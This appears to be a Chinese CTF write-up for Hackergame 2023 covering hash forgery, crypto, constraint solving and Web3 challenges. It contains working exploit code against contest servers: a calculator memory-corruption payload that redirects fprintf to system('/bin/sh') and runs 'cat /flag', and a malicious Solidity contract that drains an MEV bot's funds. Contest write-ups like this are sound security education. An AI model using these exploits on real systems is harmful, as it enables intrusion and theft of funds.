a/OpenCL/m00100_a3-optimized.cl +++ b/../hashcat/OpenCL/m00100_a3-optimized.cl @@ -349,7 +349,7 @@ DECLSPEC void m00100s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO const u32 search[4] = { digests_buf[DIGESTS_OFFSET_HOST].digest_buf[DGST_R0], - digests_buf[DIGESTS_OFFSET_HOST].digest_buf[DGST_R1], + digests_buf[DIGESTS_OFFSET_HOST].digest_buf[DGST_R1] + SHA1M_B, digests_buf[DIGESTS_OFFSET_HOST].digest_buf[DGST_R2], digests_buf[DIGESTS_OFFSET_HOST].digest_buf[DGST_R3] }; @@ -497,7 +497,7 @@ DECLSPEC void m00100s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO SHA1_STEP (SHA1_F1 , b, c, d, e, a, (c_74s ^ w0s08 ^ w0s16)); SHA1_STEP (SHA1_F1 , a, b, c, d, e, (c_75s ^ w0s06 ^ w0s12 ^ w0s14)); - if (MATCHES_NONE_VS (e, e_rev)) continue; + // if (MATCHES_NONE_VS (e, e_rev)) continue; const u32x c_76s = hc_rotl32 ((c_73s ^ c_68s ^ c_62s ^ c_60s), 1u); const u32x c_77s = hc_rotl32 ((c_74s ^ c_69s ^ c_63s ^ c_61s), 1u); @@ -512,7 +512,8 @@ DECLSPEC void m00100s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO SHA1_STEP (SHA1_F1 , c, d, e, a, b, (c_78s ^ w0s07 ^ w0s08 ^ w0s15 ^ w0s18 ^ w0s20)); SHA1_STEP (SHA1_F1 , b, c, d, e, a, (c_79s ^ w0s08 ^ w0s22)); - COMPARE_S_SIMD (d, e, c, b); + b += SHA1M_B; + COMPARE_S_SIMD (a, b, c, d); } } ``` ```diff --- a/src/modules/module_00100.c +++ b/../hashcat/src/modules/module_00100.c @@ -11,10 +11,10 @@ #include "shared.h" static const u32 ATTACK_EXEC = ATTACK_EXEC_INSIDE_KERNEL; -static const u32 DGST_POS0 = 3; -static const u32 DGST_POS1 = 4; +static const u32 DGST_POS0 = 0; +static const u32 DGST_POS1 = 1; static const u32 DGST_POS2 = 2; -static const u32 DGST_POS3 = 1; +static const u32 DGST_POS3 = 3; static const u32 DGST_SIZE = DGST_SIZE_4_5; static const u32 HASH_CATEGORY = HASH_CATEGORY_RAW_HASH; static const char *HASH_NAME = "SHA1"; @@ -89,6 +89,8 @@ int module_hash_decode (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSE digest[4] -= SHA1M_E; } + printf("\ndecoded %s => %08x %08x %08x %08x %08x\n", hash_pos, digest[0], digest[1], digest[2], digest[3], digest[4]); + return (PARSER_OK); } ``` 最后终于是跑了起来,并且花了几十大洋收获了几个很牛逼的结果: ``` sha1(b'u:anu6l!kl') = b'admin:*>-_v\xa7\xb7\x8d\xdb\xbc\x05\x9f\x836' sha1(b'd:wSfq)I,1') = b'admin:\x80\xed\x91\xbf\x98\xdbZ\xf2=\x9b\xc3\xdf@!' sha1(b'w:$I4aG,-1') = b"admin:\xd8c$\xe1O'\xa5\xf6\x9c)c\x11\xfa\x97" ``` 但是。问题来了。但是。有什么用吗? 你伪造出来这个父节点,哥,你得能输进去啊。你输一个 `b'admin:*>-_v\xa7\xb7\x8d\xdb\xbc\x05\x9f\x836'` 看看? ``` UnicodeDecodeError: 'utf-8' codec can't decode byte 0xa7 in position 11: invalid start byte ``` 爆! 当时做到一半就应该意识到不对的。过的 10 多个人难不成都有巨牛逼算力?一血是开赛后四个小时,难不成他有比 A100 还牛逼的卡?(话说还真有可能,如果是实验室集群) 哎哟然后撞墙后只能开始找正解。实际上正解也不难,就你找一个 `admin:XXX` 使得它的 sha1 digest 和另一个 sibling 拼起来哈希之后可以得到一串 ASCII 可见字符范围内的 `[user]:[password]`。这个是不难的,因为每个字符在 ASCII 可见字符内的概率大约在 `0.3`(实际上不在这个范围,只要是 `<128` 就可以,概率是 `0.5`),`0.3 ** 20` 也不大,写个脚本跑一下就出来了。然后你得到这个之后,把这个 `[user]:[password]` 作为一个用户给他,然后你就可以用 `admin` 登录了。 ```python from pwn import * from hashlib import sha1 tube.ra = tube.recvall tube.rl = tube.recvline tube.ru = tube.recvuntil tube.sl = tube.sendline tube.sla = tube.sendlineafter context(log_level='debug') # r = process(['python3', 'o1login.py']) r = remote('202.38.93.111', 10094) r.sla(b'token:', b'XXX') t = b'\xb0\xf9\x06U\xcf1 S("\xeb\x14\xcb\xe5\xc8\xb0\xf6\xf1\xcd\xc6' dum = b'u:a' app = b'eeeeeeeeeeeeeeeeeeee' r.sl(b'1') r.sl(b'\x19|h\x1b\x1cA]Zu\x1b\t\x108cuTB:{A' + app) r.sl(dum) r.sl(b'EOF') r.sla(b': ', b'2') r.sla(b': ', ('admin:000K/%:' + app.hex() + sha1(dum).digest().hex()).encode()) print('====', sha1(dum).digest().hex()) r.interactive() ``` --- ## It's MyCalculator!!!!! 关键就在 `GET` 和 `PUT` 里: ```c | GET NUMBER { if ($2 >= MAX_RESULT_BUFFER) { yyerror("index out of range"); } else { $$ = result_buffer[$2]; } } | PUT NUMBER exp { if ($2 >= MAX_RESULT_BUFFER) { yyerror("index out of range"); } else { result_buffer[$2] = $3; $$ = $3; } } ``` 甚至做了边界检查,乍一看好像没啥问题,但它没检查负数。所以试图 `GET 负数`,欸还是不行,因为 `NUMBER` 的语法定义是一个正整数。怎么办呢?研究发现 `NUMBER` 用的是 `atoi`,直接构造 `2**32 - xx` 就可以弄出负数了。 既然内存任意读写已经出来了,那么就泄露 libc 地址、get shell 一把梭了。具体一点,我覆写了 `fprintf` 和 `stderr` 的地址,因为计算器在语法错误会调用 `fprintf(stderr, "xxxx")`,所以修改后可以变成 `system("/bin/sh")`。 但问题在于,题目不能进行交互,只能给出一个 input 然后给出一个 output 然后就关闭连接了。也就是说,我们 get shell 之后还要让终端执行 `cat /flag` 的命令。尝试之后发现简单地在输入后面跟上 `cat /flag` 是不行的,因为 flex 有一个 8192 的缓冲区。所以我们把给计算器的输入 pad 到 8192 然后再加上命令即可。 ``` GET 4294967264 GET 4294967265 PUT 4294967288 ((GET 0) + 1412113) PUT 4294967289 (GET 1) PUT 4294967252 ((GET 0) + 61312) PUT 4294967253 (GET 1) d aaaa...(省略) cat /flag ``` --- ## 小 Z 的谜题 代码很晦涩,看起来十分抽象,但看到这里: ```python for i in range(num_constraints): for j in range(num_constraints): if i == j: continue assert any((arrange[i][k][1] <= arrange[j][k][0] or arrange[j][k][1] <= arrange[i][k][0]) for k in range(num_dims)) ``` 再开动脑筋想一下,发现实际上题目是让我们把几个长方体拼成一个 5x5x5 的立方体(可旋转): ```python constraints = ((1, 1, 3), (1, 2, 2), (1, 2, 4), (1, 4, 4), (2, 2, 2), (2, 2, 3)) count = [3, 4, 2, 2, 2, 3] ``` 这里的 `constraints` 就是立方体的长宽高,`count` 是数目。 计算发现这几个长方体体积和恰好是 125,也就是说我们必须拼得严丝合缝。去 Google 了半天,找到一个 `3D Bin Packing Problem`(3DBPP),问题是将几个长方体放入 **尽可能少的** `bin`(`bin` 的长宽高可以指定)中。非常搞笑的是由于这个情景恰好就是很多运输公司的难题,有很多人在研究,甚至还有几个 [商业化的平台](https://www.3dbinpacking.com/en/) 专门在做这个问题。 可惜的是,网上的算法大都是近似算法,我试过最好的一个能把 13 / 16 的长方体放进去,所以只好自己写了。但自己写的暴搜实在是拉到不行,甚至已经对着 [这篇论文](https://www.researchgate.net/publication/2353632_The_Three-Dimensional_Bin_Packing_Problem) 里面的方法进行了剪枝和优化,跑了半天甚至一个结果都没出,进度不到 0.1%。 正当自己快要放弃时,看到了 [这个 3DBPP 的实现](https://github.com/dwave-examples/3d-bin-packing),建模了约束问题并用约束求解器求解。我当时直接瞳孔地震,为啥这能建模的??长方体不是可以旋转吗,这怎么表示?一看模型发现我草它直接把方向(`orientation`)当成一个变量,然后长宽高就由原来的 `(w/h/d)[box_type]` 变成了 `(w/h/d)[box_type][orientation]`????现在的约束求解器甚至可以对数组下标动态建模吗??(但一想还真行,不然符号执行怎么做的) 哇,真的可以建模,但是能跑吗?我手写的 C++ 程序跑那么久连个答案的影子都没看见,就凭你,一个约束求解器,你行吗? 还真行。我草,跑出所有答案全程不超过五分钟。我无话可说了。`z3` 唯一真神。 这个题有三个 flag,要求你的 `score` 分别大于等于和小于等于某个数(后面发现这应该就是 `score` 的上下界)。这个 `score` 我感性理解了下,大概就是你的构造的“不工整度”:你摆得越整齐,得分挺低。 ```python from z3 import * import itertools boxes = ((1, 1, 3), (1, 2, 2), (1, 2, 4), (1, 4, 4), (2, 2, 2), (2, 2, 3)) count = [3, 4, 2, 2, 2, 3] sizes = [] rawsizes = [] maxori = [] for box, c in zip(boxes, count): A = Array(f'box{box}', IntSort(), ArraySort(IntSort(), IntSort())) wtf = set(itertools.permutations(box)) raw = [] for id, perm in enumerate(wtf): s = Array(f'siz{perm}', IntSort(), IntSort()) s = Store(s, 0, perm[0]) s = Store(s, 1, perm[1]) s = Store(s, 2, perm[2]) A = Store(A, id, s) raw.append(perm) sizes += [A] * c rawsizes += [raw] * c maxori += [len(wtf)] * c s = Solver() pos = [[Int(f'{i}{c}') for c in 'xyz'] for i in range(16)] ori = [Int(f'r{i}') for i in range(16)] for p in pos: for t in p: s.add(0 <= t, t <= 5) for o, mx in zip(ori, maxori): s.add(0 <= o, o < mx) idx = 0 for p, sss, r in zip(pos, sizes, ori): x, y, z = p ss = sss[r] idx += 1 s.add(x + ss[0] <= 5) s.add(y + ss[1] <= 5) s.add(z + ss[2] <= 5) for i in range(16): si = sizes[i][ori[i]] for j in range(i): sj = sizes[j][ori[j]] s.add(Or( pos[i][0] + si[0] <= pos[j][0], pos[j][0] + sj[0] <= pos[i][0], pos[i][1] + si[1] <= pos[j][1], pos[j][1] + sj[1] <= pos[i][1], pos[i][2] + si[2] <= pos[j][2], pos[j][2] + sj[2] <= pos[i][2], )) bst_score = 0 while s.check() == sat: model = s.model() arrange = [] for i in range(16): x, y, z = [model.evaluate(pos[i][j]).as_long() for j in range(3)] r = model.evaluate(ori[i]).as_long() w, h, d = rawsizes[i][r] arrange.append([[x, x + w, -1], [y, y + h, -1], [z, z + d, -1]]) arrange.sort() score = len(set((x, y, z) for i in range(16) for x, y, z in itertools.product(*arrange[i]))) # 对于 flag3 改下条件即可 if score > bst_score: bst_score = score for i in range(16): t = arrange[i] print(f'[[{t[0][0]}, {t[0][1]}], [{t[1][0]}, {t[1][1]}], [{t[2][0]}, {t[2][1]}]],') print('score =', score) print() s.add(Or([v != model[v] for v in [i for p in pos for i in p] + ori])) ``` 最后三个 flag 一个一个出来,我一个比一个懵逼。 第一个 flag 说 `google is useful`???我 google 半天啥都没找到,找到个 `bin packing` 还不能直接用来解决这个问题我草,可能我就是搜索苦手吧。 第二个 flag 说 `knuth's algorithm is powerful`,好吧这是啥。去查了下发现是用于解决 Exact Cover 问题的,哦我草原来我问题就找错了,好无语。看了下好像还有点复杂,不如 z3。 第三个 flag 说 `dfs algorithm is useful`。好的你说是啥就是啥吧。 这大概是这次唯一一个非预期解吧。 --- ## 黑客马拉松 数学苦手被狠狠卡住。 ### 一発勝負 先做了第二问,看着就简单些。问题大概是要求你自己给 $p,q$(512 bits)、保证 $p,q$ 不是很光滑,然后让你给 $e$,不能太小同时 $e^{-1}\bmod\varphi(n)$ 也不能太小。最后生成了 $x$(1024-k bits)然后给你 $$ (x^e\bmod \varphi(n))\bmod(2^k) $$ 其中 $k$ 是满足 $ke>1024$ 的一个数。 怎么做呢?显然的想法是把模 $2^k$ 模掉的那部分设出来,即求解方程(设上面给出的输出为 $b$) $$ x^e-2^kr\equiv b\pmod N $$ 其中 $x,r$ 都是 $1024-k$ 位的数,取 $e=23$ 可以保证 $k=928$,即 $x,r$ 是 96-bit 的。那么我们可以尝试套用多元 Coopersmith,欸,发现不是很行,大概是 $e$ 还是太大了。可能分析一下参数会发现原因,但反正我是不会。 在 [这篇论文](https://eprint.iacr.org/2023/440) 看到了对题目中两种 RNG 的研究。关于我们上面的做法,我们实际上只需要一个小调整,设 $e=e_0 e_1^{-1}$,其中 $e_0,e_1$ 都比较小,那么原等式可以化为 $$ x^e_0-(2^kr+b)^{e_1}\equiv0\pmod N $$ 这就可以得到一个度数不是很大的多项式,我们丢进多元 Coopersmith 的板子就可以了。我取的是 $e_0=5,e_1=3$。$p,q$ 取的是 safe prime。 ```python import itertools def small_roots(f, bounds, m=1, d=None): if not d: d = f.degree() if isinstance(f, Polynomial): x, = polygens(f.base_ring(), f.variable_name(), 1) f = f(x) R = f.base_ring() N = R.cardinality() f /= f.coefficients().pop(0) f = f.change_ring(ZZ) G = Sequence([], f.parent()) for i in range(m+1): base = N^(m-i) * f^i for shifts in itertools.product(range(d), repeat=f.nvariables()): g = base * prod(map(power, f.variables(), shifts)) G.append(g) B, monomials = G.coefficient_matrix() monomials = vector(monomials) factors = [monomial(*bounds) for monomial in monomials] for i, factor in enumerate(factors): B.rescale_col(i, factor) B = B.dense_matrix().LLL() B = B.change_ring(QQ) for i, factor in enumerate(factors): B.rescale_col(i, 1/factor) H = Sequence([], f.parent().change_ring(QQ)) for h in filter(None, B*monomials): H.append(h) I = H.ideal() if I.dimension() == -1: H.pop() elif I.dimension() == 0: roots = [] for root in I.variety(ring=ZZ): root = tuple(R(root[var]) for var in f.variables()) roots.append(root) return roots return [] p, q = 6263822186823419367923303869373737361996471248933542604072381896545212014155533567700065642638177091604526921981910119569708918053858553472697716732260783, 4234253077196167926951871590668415093842697402110425703173020424560259438119675900779282257556576115118991233294115524238150892936682569586837002508903403 p, q = p * 2 + 1, q * 2 + 1 N = p * q R.<x, y> = PolynomialRing(Zmod(N)) fn = x ** 5 - ((2 ** 928) * y + R(1845546033277386381090917681348338299177629040276458717793851475446909133140300374541325829407289137780316378065628264022726148601688306945602406923154301446809016056892004481993590835427252065198822557257423021514410389287554409975834348879416416493612169582401123640169289733948)) ** 3 print(small_roots(fn, (2 ** 96, 2 ** 96), m=5, d=5)) ``` ### 教练,有人抢跑! 接下来就变成论文复现了。 这个问是,给你一个数列 $\{x_i\}_{i=0}^{99}$ 满足 $x_i=x_{i-1}\bmod N$,给的输出是 $b_i=x_i\bmod 2^k$,要求你反推出 $x_i$。论文中说有两种攻击方法,一种是基于特殊的在模 $\varphi(N)$ 域阶比较小的 $e$,不过这个做法在题目中被检查排除了;那么剩下一个方法是构造一个项数比较小的函数 $f(e)$ 使得 $f(e)\equiv0\pmod{\varphi(N)}$,即找到一个小的指数集合 $C^+$ 和 $C^-$ 满足: $$ \sum_{c\in C^+}e^c-\sum_{c\in C^-}e^c\equiv0\pmod{\varphi(N)} $$ 构造出这样的 $f$ 后,我们立刻有 $$ \begin{aligned} \prod_{c\in C^+}x_c&\equiv\prod_{c\in C^-}x_c\pmod N\\ \prod_{c\in C^+}(2^kr_c+b_c)&\equiv\prod_{c\in C^-}(2^kr_c+b_c)\pmod N \end{aligned} $$ 这样就又是一个多元 Coopersmith 了。不过我用原来那个板子并没有跑出来,所以改用了论文的代码。 需要注意的是出于某些原因 $p,q$ 不能太接近,所以颇费了一些功夫构造了满足条件的参数。具体而言,思路应该是先捏出一个 $f(e)$ 和 $e$,再对着 $f(e)$ 分解质因数,在它的里面找因数构造出 $p$。原论文构造的 $p$ 有 1646 bits,$f(e)$ 2401 bits,也就是说他对一个 2401 bits ```python from sage.all import Integer, polygen, ZZ e = 233 p = 69588536267645954285486125780558255402474583558400594766359231666289906890213704399834182070255501134025767527742717839177793750442834681029105012833260008724835044940931526167366393554521 q = 2230028199965957660276093425114408774088336200435332739040080932850777476210659190629878473745053024973439928452508959621 N = p*q k = 928 # unknown size p0 = 22380152330915234168147723705185748522827020496012043290740102843059459009201245195152773346890208305128983287651462451062324273096679790655743813543515473 q0 = 464085548077379096945425399608770233103 assert (p - 1) % p0 == 0 assert (q - 1) % q0 == 0 e,p,q,N,k = Integer(e),Integer(p),Integer(q),Integer(N),Integer(k) x = polygen(ZZ) f = x**96 - x**66 - x**57 + x**12 relation_coeffs = [(96,1),(66,-1),(57,-1),(12,1)] hints = {'mult': 3} ``` ```python from sage.all import * import random import mvcoppersmith from pwn import * import smallparams as params tube.ra = tube.recvall tube.rl = tube.recvline tube.ru = tube.recvuntil tube.sl = tube.sendline tube.sla = tube.sendlineafter # context(log_level = 'debug') if False: r = process(['python3', 'rsa_prng.py']) else: r = remote('202.38.93.111', int(20230)) r.sla(b'token:', b'XXX') x = polygen(ZZ) def RSAPRG(s0, N, e, k): state = s0 for i in range(50000): state = Integer(pow(state, e, N)) yield (state % 2**k) def attempt(diylll=True, mult=1, extras=[]): #global prg,full,outputs,fullstates,which_outputs,bs,fss,ys,F,M,unknown_parts,scalefactors,ms,ML,I,IB,polys N = p*q s0 = randint(1,N-1) print("Generating PRG outputs") r.sla(b'p: ', str(p).encode()) r.sla(b'q: ', str(q).encode()) r.sla(b'-1: ', str(params.p0).encode()) r.sla(b'-1: ', str(params.q0).encode()) r.sla(b'e: ', str(e).encode()) r.sla(b': ', b'1') # prg = RSAPRG(s0=Integer(s0), N=N, e=e, k=k) # full = RSAPRG(s0=Integer(s0), N=N, e=e, k=int(log(N,2)+1)) howfar = max(a for (a,_) in relation_coeffs)+1 # outputs = [next(prg) for _ in range(howfar)] # fullstates = [next(full) for _ in range(howfar)] # fullstates = eval(r.rl()) outputs = eval(r.rl()) print("Outputs generated") print("---attack starts here---") which_outputs = [i for (i,_) in relation_coeffs] bs = [outputs[i] for i in which_outputs] #fss = [fullstates[i] for i in which_outputs] # for debugging #unknown_parts = [(fs-b)//(2**k) for (fs,b) in zip(fss,bs)] # for debugging ys = polygens(ZZ,'y',len(bs)) F = (Integer(pow(2,-(len(ys)//2)*k,p)) * ( prod( (2**k * ys[i] + bs[i])**(relation_coeffs[i][1]) for i in range(len(relation_coeffs)) if relation_coeffs[i][1] > 0 ) - prod( (2**k * ys[i] + bs[i])**(-relation_coeffs[i][1]) for i in range(len(relation_coeffs)) if relation_coeffs[i][1] < 0 ) )) % p #assert F(*[(fs - b)//(2**k) for (b,fs) in zip(bs,fss)]) % p == 0 # for debugging print("Making Coppersmith lattice...") mvcoppersmith.coppersmith_params(F, mult=mult, extras=extras) M, ms, scalefactors = mvcoppersmith.coppersmith_makelattice(F, N//(2**k), p, mult=mult, extras=extras) print("detM = 2^", prod(M.diagonal()).nbits()) #assert all(mvcoppersmith.vec_to_poly(vec,ms,scalefactors)(*unknown_parts) % p**mult == 0 for vec in M) # for debugging assert not any(M[i].is_zero() for i in range(len(ms))) if diylll: filename = input("Output filename for lattice to be LLL-reduced: ") mvcoppersmith.export_lattice(M, filename) filename = input("Input filename for LLL-reduced lattice: ") ML = mvcoppersmith.import_lattice(filename) else: print("Running LLL on dimension %d lattice..." % len(M.rows())) ML = M.dense_matrix().LLL() print("Done running LLL.") global shortrows shortrows = [row for row in ML.rows() if row.norm(1) < p**mult] print("Number of vectors that seem short enough: ", len(shortrows)) if len(shortrows) == 0: return False polys = [mvcoppersmith.vec_to_poly(row, ms, scalefactors) for row in shortrows] #assert all( pol(*unknown_parts) == 0 for pol in polys) # polys now contains polynomials that evaluate to 0 over the integers at the solution. # The coefficients are huge (on the order of p^mult), but the solutions we're looking for are (relatively) small. # We can dramatically speed up the groebner basis computation by working mod a prime instead of over ZZ. if 'grob_mod' in params.hints: grob_mod = params.hints['grob_mod'] else: print("Finding prime to work mod (if slow, this can be precomputed)") grob_mod = next_prime(2 * N//(2**k)) # slow grob_ring = Zmod(grob_mod) I = ideal([f.change_ring(grob_ring) for f in polys]) print("Taking Groebner basis") set_verbose(2) #IB = I.groebner_basis(algorithm='magma') # uncomment if magma is installed IB = I.groebner_basis() # comment out if magma is installed results = [(poly / poly.content()).univariate_polynomial() for poly in IB if poly.nvariables() == 1] if len(results) == 0: print("no results") for poly in results: print(poly) root = poly.roots(multiplicities=False)[0] if poly.variables()[0] == ys[0]: recovered_state = bs[0] + 2**k * (root.lift()) phi = (p - 1) * (q - 1) answer = pow(recovered_state, pow(e, 99 - which_outputs[0], phi), N) r.sla(b': ', str(answer).encode()) r.interactive() return results if __name__ == "__main__": #import mediumparams as params #import largeparams as params #import hugeparams as params e,p,q,N,k,f,relation_coeffs = params.e, params.p, params.q, params.N, params.k, params.f, params.relation_coeffs print("p is", p.nbits(), "bits") print("q is", q.nbits(), "bits") print("N is", N.nbits(), "bits") print("Size of unknown part is", N.nbits() - k, "bits") mult = params.hints['mult'] if 'mult' in params.hints else 1 diylll = params.hints['diylll'] if 'diylll' in params.hints else True attempt(mult=mult, extras=[], diylll=diylll) ``` 做这个题的过程中发现了 `flatter` 这个很快的 LLL 库,有时间可以写个和 SageMath 的集成。 --- ## 不可加密的异世界 2 比赛开始过了两道题后意识到自己完全不可能赢过手速比,于是跑过来倒序开题。 ### 希尔混淆 题目给了个希尔加密,本质就是个线性变换。然后有一个 oracle,会把你的输入和 Flag1 异或之后去加密,把结果给你。 实际上并不难,因为 Flag 是个 ASCII 字符串,top bit 必然是 0。你每次 flip 输入的 top bit,就可以逐一恢复列。比较坑的是,由于矩阵的域是 `GF(257)`,所以最后输出会有一个 `256->0` 的变换,这就造成不是双射,所以如果 oracle 返回结果有 `0` 还需要再试,最后运气好的话小于 400 次可以恢复出矩阵。 ```python from pwn import * from random import * from copy import deepcopy tube.ra = tube.recvall tube.rl = tube.recvline tube.ru = tube.recvuntil tube.sl = tube.sendline tube.sla = tube.sendlineafter context(log_level='debug') if False: r = process(['sage', 'unencryptable_world2.sage']) else: r = remote('202.38.93.111', int(22000)) r.sla(b'token:', b'XXX') def get(bs): r.sla(b'>', bs.hex().encode()) r.ru(b'ciphertext :') return bytes.fromhex(r.rl().strip().decode()) def init(): t = bytearray([randint(0, 127) for i in range(128)]) plain = get(t) while plain.find(b'\0') != -1: print('boom') t = bytearray([randint(0, 127) for i in range(128)]) plain = get(t) return t, plain ts = [] cols = [] for i in range(128): print('col', i) idx = 0 while True: if idx == len(ts): ts.append(init()) t, plain = ts[idx] idx += 1 t = deepcopy(t) t[i] ^^= 0x80 what = get(t) if what.find(b'\0') != -1: print('ww') continue cols.append([((x - y) % 257 * 255) % 257 for x, y in zip(what, plain)]) break print('yeah!!!!!!') rows = [] for i in range(128): rows.append([cols[j][i] for j in range(128)]) G = GF(257) mat = matrix(G, 128, 128, rows) imat = mat**(-1) def bytes2vec(msg:bytes): return vector(G, [m for m in msg]) # 上为公共部分,后面的 exp 会省略 t = bytearray(b'\x80' + b'\0' * 127) plain = bytes2vec(get(t)) print(plain) print(imat * plain) plain -= mat * bytes2vec(t) print(plain) vec = vector(ZZ, (imat * plain)) % 256 open('wmat.txt', 'w').write(str(mat)) open('wimat.txt', 'w').write(str(imat)) print(vec) print(''.join(map(chr, vec))) ``` ### 希尔之核 不是,为什么有几个人做了第一问不会第二问的? 就是要你求向量 $\mathbf x$ 满足 $M\mathbf x=\mathbf x$,也就是求 $M$ 的特征值为 $1$ 的特征空间。直接 $(M-I).right_kernel()$ 就完了。 ```python # 公共部分省略 basis = (mat - matrix.identity(G, 128)).right_kernel().basis() for b in basis: if all(map(lambda x: x != 256, b)): r.sla(b'>', bytes(b).hex().encode()) break ``` ### 希尔之秘 就是让你在上面的核空间里找一个元素都在 ASCII 可见字符范围内的向量。我的做法是做 CVP 问题,找到离均值最近的向量,不过效率不太好,试了大概几十次终于成功了一次。 ```python from sage.modules.free_module_integer import IntegerLattice def Babai(B, t): # not square when using .LLL(), so use IntegerLattice ... lattice = IntegerLattice(B, lll_reduce=True) if True: B = lattice.reduced_basis G = B.gram_schmidt()[0] b = t for i in reversed(range(B.ncols())): b -= B[i] * ((b * G[i]) / (G[i] * G[i])).round() return t - b else: return lattice.closest_vector(t) wow = [] for i in basis: wow.append(vector(ZZ, list(i))) for i in range(128): t = [0] * 128 t[i] = 257 wow.append(vector(ZZ, t)) target = vector(ZZ, [0x50] * 128) heihei = Babai(wow, target) print(sum(0 if 0x20 <= c < 0x7f else 1 for c in heihei)) print(bytes(heihei)) r.sla(b'>', bytes(heihei).hex().encode()) r.interactive() ``` # 关于没做完的题 ## 链上猎手 ~~哎哟,Web3 是真的一点不会。~~ 应空白要求跑去学了区块链,做了个 Flag1 跑路。 ### The Maximal Extractable Value 嗯,啊。区块链。差不多,就是那个意思。 就,有一个东西叫以太坊,然后上面有人有智能合约,每个人和智能合约都有一个地址。你可以通过签发合同(`build_transaction`)来调用智能合约,也可以在本地模拟合约(`call`)。 这个题大概做了个 MEV Bot,就是中间商赚差价的。它在一个叫 Uniswap 的去中心化交易所里面去找货币转换时能赚的差价,WETH -> TOKEN -> WETH,然后就去套。 Flag1 比较简单。这个 bot 在转换货币时用到了 Uniswap 的 [Flash Swaps](https://docs.uniswap.org/contracts/v2/guides/smart-contract-integration/using-flash-swaps),相当于注册了一个回调函数,在这个回调函数里面真正地把钱转给 Uniswap 的 Pair。但他这个检查: ```solidity function uniswapV2Call(address sender, uint, uint, bytes calldata data) external { require(IUniswapV2Pair(msg.sender).factory() == FACTORY1 || IUniswapV2Pair(msg.sender).factory() == FACTORY2, "wrong factory"); require(sender == address(this), "wrong sender"); (IUniswapV2Pair pair1, IUniswapV2Pair pair2, uint amount1, uint amount2, bool dir) = abi.decode(data, (IUniswapV2Pair, IUniswapV2Pair, uint, uint, bool)); require(WETH.transfer(address(pair1), amount1)); pair1.swap(dir ? amount2 : 0, dir ? 0 : amount2, address(pair2), ''); } ``` 显然是个人都能绕过去。我们部署一个恶意合约,提供一个合法的 `factory` 接口,然后就可以任意伪造 `data` 让 bot 向我们赚钱,把 bot 掏空从而拿到 flag。 此外一个 caveat 是这个 bot 在转账过程中还会套利,也就是说我们没办法一次性把它掏空。但它一次会比一次套得少,我们掏三次即可。 由于我以前没写过 web3 代码,写出来的东西也是拼拼凑凑,显然不会是 best practice,大伙看个乐就行。 ```solidity pragma solidity =0.8.21; interface Bot { function uniswapV2Call( address sender, uint, uint, bytes calldata data ) external; } contract Custom { address payable immutable owner = payable(msg.sender); address public factory; constructor(address _factory) { factory = _factory; } function attack(Bot bot, address pair1, uint amount) external { bot.uniswapV2Call( address(bot), 0, 0, abi.encode(pair1, owner, amount, 1, true) ); } function receive(Bot bot) external {} } ``` ```python from pwn import * from web3 import Web3 from web3.middleware import geth_poa_middleware import json tube.ra = tube.recvall tube.rl = tube.recvline tube.ru = tube.recvuntil tube.sl = tube.sendline tube.sla = tube.sendlineafter # context(log_level='debug') if False: r = process(['python3', 'main.py']) else: r = remote('202.38.93.111', 10222) r.sla(b'token:', b'XXX') def load(name, address=None): bytecode, abi = json.load(open(name)) if address: return w3.eth.contract(abi=abi, address=address) else: return w3.eth.contract(abi=abi, bytecode=bytecode) nonce = 0 def get_nonce(): global nonce tmp = nonce nonce += 1 return tmp def AttributeDict(d): return d def HexBytes(x): return bytes.fromhex(x[2:]) common = {'gas': 10 ** 6, 'gasPrice': 10 ** 11, 'chainId': 2023} def send(tx): signed_tx = w3.eth.account.sign_transaction(tx, private_key=me.key) r.sla(b': ', b'2') r.sla(b': ', signed_tx.rawTransaction.hex().encode()) r.ru(b'receipt:') l = r.rl().strip().decode() l = l[l.index('{'):l.rindex('}') + 1] print(l) l = eval(l) assert l['status'] == 1 return l['contractAddress'] w3 = Web3() # w3.middleware_onion.inject(geth_poa_middleware, layer=0) me = w3.eth.account.from_key(open('me_privatekey.txt').read().strip()) r.sla(b': ', b'1') r.ru(b'DEX factory1 address:') factory1 = r.rl().strip().decode() r.ru(b'Pair1 address:') pair1 = r.rl().strip().decode() r.ru(b'Bot contract address:') bot = r.rl().strip().decode() r.sla(b'Choice: ', b'1') r.sla(b': ', me.address.encode()) custom_addr = send(load('Custom.json').constructor(factory1).build_transaction( common | {'nonce': get_nonce(), 'from': me.address})) custom = load('Custom.json', custom_addr) print('Custom address:', custom.address) print('f1') send(custom.functions.attack(bot, pair1, 1056306580606230337).build_transaction( common | {'nonce': get_nonce(), 'from': me.address})) print('f2') send(custom.functions.attack(bot, pair1, 127393347903781289).build_transaction( common | {'nonce': get_nonce(), 'from': me.address})) print('f3') send(custom.functions.attack(bot, pair1, 1224949681686598).build_transaction( common | {'nonce': get_nonce(), 'from': me.address})) r.interactive() ``` ## 旧日之痕 题目到底想让我干啥…… bindiff 看了几个程序,大体一致但在几个小地方有微小的不同,对执行没有本质影响。但这和什么水印有什么关系…… 它甚至有两个问,我半个问都看不懂。可能这就是二进制苦手吧。 赛后:好像自己根本就没看到 `bw.so`,无语了。 # 结语 虽然被 mcfx 锤了,但还是玩得很开心。感谢 Hackergame2023 组委会的投入与付出!